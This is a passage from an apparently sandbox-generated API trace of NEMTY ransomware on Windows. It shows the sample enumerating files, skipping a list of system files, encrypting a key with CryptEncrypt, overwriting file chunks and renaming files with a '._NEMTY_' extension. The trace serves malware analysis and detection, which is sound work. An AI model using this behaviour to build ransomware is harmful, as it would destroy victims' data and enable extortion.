lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.037] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.107] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.107] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0097.107] CloseHandle (hObject=0xffffffff) returned 0 [0097.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0097.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0097.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0097.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0097.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0097.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0097.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.107] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0097.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0097.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0097.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0097.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0097.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0097.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0097.108] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2=".") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="..") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="...") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="windows") returned -1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="$RECYCLE.BIN") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="rsa") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="NTDETECT.COM") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="ntldr") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="MSDOS.SYS") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="IO.SYS") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="boot.ini") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="boot.ini") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="AUTOEXEC.BAT") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="ntuser.dat") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="desktop.ini") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="CONFIG.SYS") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="RECYCLER") returned 1 [0097.108] lstrcmpiW (lpString1="softedges.png", lpString2="BOOTSECT.BAK") returned 1 [0097.109] lstrcmpiW (lpString1="softedges.png", lpString2="bootmgr") returned 1 [0097.109] lstrcmpiW (lpString1="softedges.png", lpString2="programdata") returned 1 [0097.109] lstrcmpiW (lpString1="softedges.png", lpString2="appdata") returned 1 [0097.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="softedges.png", lpUsedDefaultChar=0x0) returned 13 [0097.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="softedges.png", lpUsedDefaultChar=0x0) returned 13 [0097.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="softedges.png", lpUsedDefaultChar=0x0) returned 13 [0097.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0097.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="softedges.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="softedges.png", lpUsedDefaultChar=0x0) returned 13 [0097.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0097.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0097.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0097.109] Sleep (dwMilliseconds=0x5) [0097.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed897570, dwHighDateTime=0x1d561e7)) [0097.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed897570, dwHighDateTime=0x1d561e7)) [0097.123] GetLastError () returned 0x5 [0097.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0097.123] GetLastError () returned 0x5 [0097.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0097.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0097.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0097.124] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0097.124] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0097.124] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0097.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0097.124] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="r4tpA8xQMJVypow+sIj0LFhGMwR1mB+p2q4NllausrumJEmNUlAxkVA6SzA4tQE6\r\noqnpyApgb9amQH5OSPodqOmzD/KJwoleRPYhvCoUCGyixYZSMJuhvvqjjpjq6C2j\r\nPqqIPUuvOBGfd3DcaAWiPGUk0HzkGmy/eG0L0mO2I+F3HKfjywKmSvQK/U0ba4py\r\nxUIYiK3GXG8CcJ+v3V36v7jtUo+zKP8CwTe+RsqR+GnbNOF3kv3rb+Jao+jfDqlS\r\nTJDNkzUdP6K6a/+CgaY/wGvs/rHzDFfqhtZnWr0Pgnq52AEq/xS287JTJlbK/ZIA\r\nH1b7WlXQhdCEvPpCgpjiiA==\r\n", pcchString=0x653e91c) returned 1 [0097.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0097.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0097.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0097.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0097.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0097.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0097.124] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\softedges.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\softedges.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.124] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0097.124] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0097.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.124] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.153] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.163] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.163] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.198] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.198] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.198] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0097.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0097.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, 